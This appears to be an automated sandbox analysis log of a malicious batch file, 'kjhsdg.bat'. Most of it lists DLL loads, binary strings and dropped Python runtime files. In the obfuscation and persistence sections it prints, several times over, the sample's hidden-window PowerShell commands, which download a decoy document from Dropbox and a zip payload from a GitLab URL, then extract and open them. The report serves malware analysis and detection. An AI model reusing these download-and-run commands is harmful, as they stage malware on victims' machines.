Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: python312.dll.17.dr
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbtD? source: powershell.exe, 0000000C.00000002.2130649300.000002717145F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: libssl-3.dll.17.dr
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 0000000C.00000002.2128964930.000002716F4CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: - bpo-20523: ``pdb.Pdb`` supports ~/.pdbrc in Windows 7. Patch by Tim Hopper source: NEWS.txt.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2130649300.000002717143E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: sqlite3.dll.17.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: breakpoints in :class:`~pdb.Pdb` that raise :exc:`SyntaxError`. Patch by source: NEWS.txt.17.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: display in :class:`~pdb.Pdb` that raise :exc:`SyntaxError`. Patch by Tian source: NEWS.txt.17.dr
Source:	Binary string: - bpo-41137: Use utf-8 encoding while reading .pdbrc files. Patch by source: NEWS.txt.17.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe.17.dr
Source:	Binary string: :exc:`AttributeError` if it is called after :meth:`~pdb.Pdb.reset`. source: NEWS.txt.17.dr
Source:	Binary string: - bpo-28528: Fix a bug in :mod:`pdb` where :meth:`~pdb.Pdb.checkline` raises source: NEWS.txt.17.dr
Source:	Binary string: System.pdbMAC Layer LightWeight Filte source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024E1E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbb< source: powershell.exe, 0000000C.00000002.2131684518.0000027171614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb D source: powershell.exe, 0000000C.00000002.2130649300.000002717145F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pythonw.pdb source: pythonw.exe.17.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: whether .pdbrc files should be read. Patch by Martin Matusiak and Sam source: NEWS.txt.17.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: powershell.exe, 00000011.00000002.3305718587.000002024DC6D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: libssl-3.dll.17.dr

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match

File source: kjhsdg.bat, type: SAMPLE

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: vcruntime140_1.dll.17.dr

Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]

Source: python312.dll.17.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.17.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.17.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.17.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.17.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F3429A push ss; retf		12_2_00007FF848F3429B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848F37047 push esp; retf		12_2_00007FF848F37048

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
